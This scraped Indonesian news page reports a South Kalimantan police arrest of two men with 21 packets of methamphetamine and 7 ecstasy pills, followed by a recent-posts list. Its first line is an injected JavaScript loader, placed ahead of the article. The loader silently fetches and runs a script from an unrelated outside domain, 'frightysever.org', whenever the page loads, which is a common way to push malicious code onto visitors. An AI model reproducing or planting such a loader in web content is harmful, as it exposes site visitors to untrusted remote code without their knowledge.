(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Ditresnarkoba Polda Kalsel Ringkus 2 Pria Simpan 21 Paket Sabu dan 7 Butir Ekstasi


KANALKALIMANTAN.COM, BANJARMASIN– Ditresnarkoba Polda Kalsel meringkus dua orang tersangka yang kedapatan menyimpan 21 paket sabu dan 7 butir ekstasi, Senin (21/6/2021).

Tersangka berinisial ZN (46) tak berkutik setelah polisi menemukan sejumlah narkoba di rumahnya.

Di rumahnya, warga Jalan A Yani Km 8, Simpang 3 Cekdam, Kelurahan Pandan Sari, Kecamatan Kintap, Kabupaten Tanah Laut, polisi menemukan 8 paket sabu dan 7 butir ekstasi warna merah logo huruf A, tersimpan di dalam botol warna biru di bawah kasur.

Pada saat penggeledahan di kediaman tersangka dipimpin Kasubdit III Ditresnarkoba Polda Kalsel, AKBP Niko Irawan. Penggerebekan ZN setelah polisi memperoleh informasi akurat tentang tersangka yang diduga memiliki narkoba di rumahnya.

Setelah penggeledahan di rumah ZN, polisi meyakini masih ada tambahan barang bukti lain yang disembunyikan oleh tersangka.

 

 

Dan pada saat dilakukan penggeledahan kembali, ditemukan 13 paket sabu di dapur. Tapi menurut ZN, barang tersebut milik orang lain berinisial SD (29) yang tinggal berdekatan dengan rumah pelaku.

Baca juga: Reforma Agraria di Kalsel Kini Sasar Kabupaten Tapin, HSU, dan Tabalong 

Tak lama setelah mendengar pengakuan tersebut, polisi bergegas menuju rumah SD yang berprofesi petani. Keduanya pun kemudian dibawa Ditresnarkoba Polda Kalsel guna proses penyidikan.

Direktur Ditresnarkoba Polda Kalsel, Kombes Pol Tri Wahyudi melalui Kasubdit III, AKBP Niko Irawan saat dikonfirmasi, Rabu (23/6/2021) membenarkan telah mengamankan kedua tersangka narkotika tersebut.

“Total barang bukti yang kita dapatkan sebanyak, 21 paket sabu dengan berat bersih 12,43 gram, dan 7 butir ekstasi,” ucapnya.

Untuk mempertanggungjawabkan perbuatannya, kini ZN dan SD dikenakan pasal 114 ayat (2) sub pasal 112 ayat (2) jo pasal 132 ayat (1) UU RI Nomor 35 tahun 2009 tentang Narkotika. (Kanalkalimantan.com/shintia)

Reporter: shintia
Editor: cell


Risa

Recent Posts

Mahasiswa Prodi Gizi Belajar Penyelesaian Sengketa Medis di RSD Idaman

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 49 mahasiswa Diploma III Program Studi Gizi Poltekkes Kemenkes Banjarmasin melaksanakan… Read More

2 jam ago

Mahasiswa Minta Perbaikan Gaji Guru Honorer di Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unjuk rasa BEM se Kalimantan Selatan (Kalsel) di depan gedung DPRD Provinsi… Read More

2 jam ago

Mantan Crosser Ramaikan Pilkada Tala, H Iyan Ambil Formulir ke PPP

KANALKALIMANTAN.COM, PELAIHARI - Nama Haji Iriansyah mencuat di bursa Pemilihan Kepala Daerah (Pilkada) 2024 di… Read More

2 jam ago

Pertahankan Gelar, Kabupaten Banjar Juara Umum di MTQ XXXV Kalsel

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar kembali menoreh prestasi membanggakan, yakni menjadi Juara Umhn pada MTQ… Read More

2 jam ago

KSBSI Kapuas Dukung Erlin Hardi Cabup Kapuas 2024-2029

KANALKALIMANTAN.COM, KUALA KAPUAS - Serikat buruh yang tergabung dalam Konfederasi Serikat Buruh Seluruh Indonesia (KSBSI)… Read More

3 jam ago

Peringatan Hardiknas dan Hari Otda, Wabup Banjar Bacakan Sambutan 2 Menteri

KANALKALIMANTAN.COM, MARTAPURA - Peringatan Hari Pendidikan Nasional (Hardiknas) dan Hari Otonomi Daerah ke-28 tahun 2024… Read More

4 jam ago

This website uses cookies.